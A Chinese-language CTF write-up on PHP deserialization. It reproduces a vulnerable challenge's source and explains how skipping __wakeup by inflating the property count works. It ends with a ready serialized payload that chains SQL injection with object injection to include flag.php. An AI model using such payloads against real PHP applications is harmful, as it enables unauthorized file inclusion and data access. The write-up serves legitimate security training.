代码审计-------继续加强对反序列化的理解
根据文章:
继续做下面的题目
Test.php
<?php
//error_reporting(0);
include "config.php";
class HITCON{
public $method;
public $args;
public $conn;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
$this->__conn();
}
function __conn() {
global $db_host, $db_name, $db_user, $db_pass, $DEBUG;
if (!$this->conn)
$this->conn = mysqli_connect($db_host, $db_user, $db_pass);
mysqli_select_db($this->conn,$db_name);
if ($DEBUG) {
$sql = "DROP TABLE IF EXISTS users";
$this->__query($sql, $back=false);
$sql = "CREATE TABLE IF NOT EXISTS users (username VARCHAR(64),
password VARCHAR(64),role VARCHAR(256)) CHARACTER SET utf8";
$this->__query($sql, $back=false);
$sql = "INSERT INTO users VALUES ('orange', '$db_pass', 'admin'), ('phddaa', 'ddaa', 'user')";
$this->__query($sql, $back=false);
}
mysqli_query("SET names utf8");
mysqli_query("SET sql_mode = 'strict_all_tables'");
}
function __query($sql, $back=true) {
$result = mysqli_query($this->conn,$sql);
if ($back) {
return @mysqli_fetch_object($result);
}
}
function login() {
list($username, $password) = func_get_args();
$sql = sprintf("SELECT * FROM users WHERE username='%s' AND password='%s'", $username, md5($password));
$obj = $this->__query($sql);
if ( $obj != false ) {
define('IN_FLAG', TRUE);
$this->loadData($obj->role);
}
else {
$this->__die("sorry!");
}
}
function loadData($data) {
if (substr($data, 0, 2) !== 'O:' && !preg_match('/O:\d:/', $data)) {
return unserialize($data);
}
return [];
}
function __die($msg) {
$this->__close();
header("Content-Type: application/json");
die( json_encode( array("msg"=> $msg) ) );
}
function __close() {
mysqli_close($this->conn);
}
function source() {
highlight_file(__FILE__);
}
function __destruct() {
$this->__conn();
if (in_array($this->method, array("login", "source"))) {
@call_user_func_array(array($this, $this->method), $this->args);
}
else {
$this->__die("What do you do?");
}
$this->__close();
}
function __wakeup() {
foreach($this->args as $k => $v) {
$this->args[$k] = strtolower(trim(mysqli_escape_string($v)));
}
}
}
class SoFun{
public $file='index.php';
function __destruct(){
if(!empty($this->file)) {
include $this->file;
}
}
function __wakeup(){
$this-> file='index.php';
}
}
if(isset($_GET["data"])) {
@unserialize($_GET["data"]);
}
else {
new HITCON("source", array());
}
?>
Config.php
<?php
$db_host = 'localhost';
$db_name = 'test';
$db_user = 'root';
$db_pass = '1234';
$DEBUG = 'xx';
?>
Flag.php
<?php
!defined('IN_FLAG') && exit('Access Denied');
echo "flag{un3eri@liz3_i3_s0_fun}";
?>
题目限制:flag.php页面没有权限访问,只有通过test.php页面的
function login() {
list($username, $password) = func_get_args();
$sql = sprintf("SELECT * FROM users WHERE username='%s' AND password='%s'", $username, md5($password));
$obj = $this->__query($sql);
if ( $obj != false ) {
define('IN_FLAG', TRUE);
$this->loadData($obj->role);
}
else {
$this->__die("sorry!");
}
}
将flag.php页面给权限,才可以访问
<?php
!defined('IN_FLAG') && exit('Access Denied');
echo "flag{un3eri@liz3_i3_s0_fun}";
?>
然后跟踪程序,看看怎样运行到这里,程序走向,逆着走就是
include $this->file; ----》 unserialize($data); ----》 $this->loadData($obj->role); ----》 login() ----》
@call_user_func_array(array($this, $this->method), $this->args);
这里要讲一下一个魔术方法,前面我们都很熟悉其他的魔术方法(__get(),__destruct(),__construct()),这里学一个新的魔术方法 __wakeup()
这个魔术方法是在代码中如果有unserialize() 函数的时候,就是自动调用
但是这个魔术方法是可以绕过的,如果序列化一个class ,但是它的属性比本来的属性多,那么就不会进去这个函数,当然反序列也会失败,但是还是会执行反序列出来的class (我也不知道是不是反序列失败了,但是我用var_dump()显示出来是false)
举个例子说一下
下面可以看到,class test 里面,只要一个属性$tnienie ,所以大括号前面就是1,
如果这个class里面有__wakeup() , 并且是unserialize()这个函数的,那么就会先执行__wakeup()方法,
但是,如果我们将那个1修改成其他的数字(比1大,但是同位数),例如改成2,就会不执行__wakeup() ,同样也会不执行__construct() ,直接执行__destruct()
可以看到题目的源码,两个class都有一个__wakeup(),也就是说,如果反序列出来的,无论哪个class,都会执行那个魔术方法
讲到这里,如果前面那篇文章明白的话,基本都可以构造payload了,题目中注入的数据就不解析了,基本的sql注入
下面直接看payload构造
Payload这里要注意一下,这样构造出来的是不能直接用的,还要改一下
修改O:6:"HITCON":2: 为 O:6:"HITCON":3:
修改 s:92:"1' or 为 s:93:"1' or
修改 a:1:{i:0;O:5 为 a:1:{i:0;O:%2b5
修改 "SoFun":1:{s:4 为 "SoFun":2:{s:4
修改 limit 2,3#"; 为 limit 2,3%23";
修改完就是这样子
O:6:"HITCON":3:{s:6:"method";s:5:"login";s:4:"args";a:2:{s:8:"username";s:93:"1' or 1=1 union select 1,2,'a:1:{i:0;O:%2b5:"SoFun":2:{s:4:"file";s:8:"flag.php";}}' limit 2,3%23";s:8:"password";s:3:"abc";}}
然后执行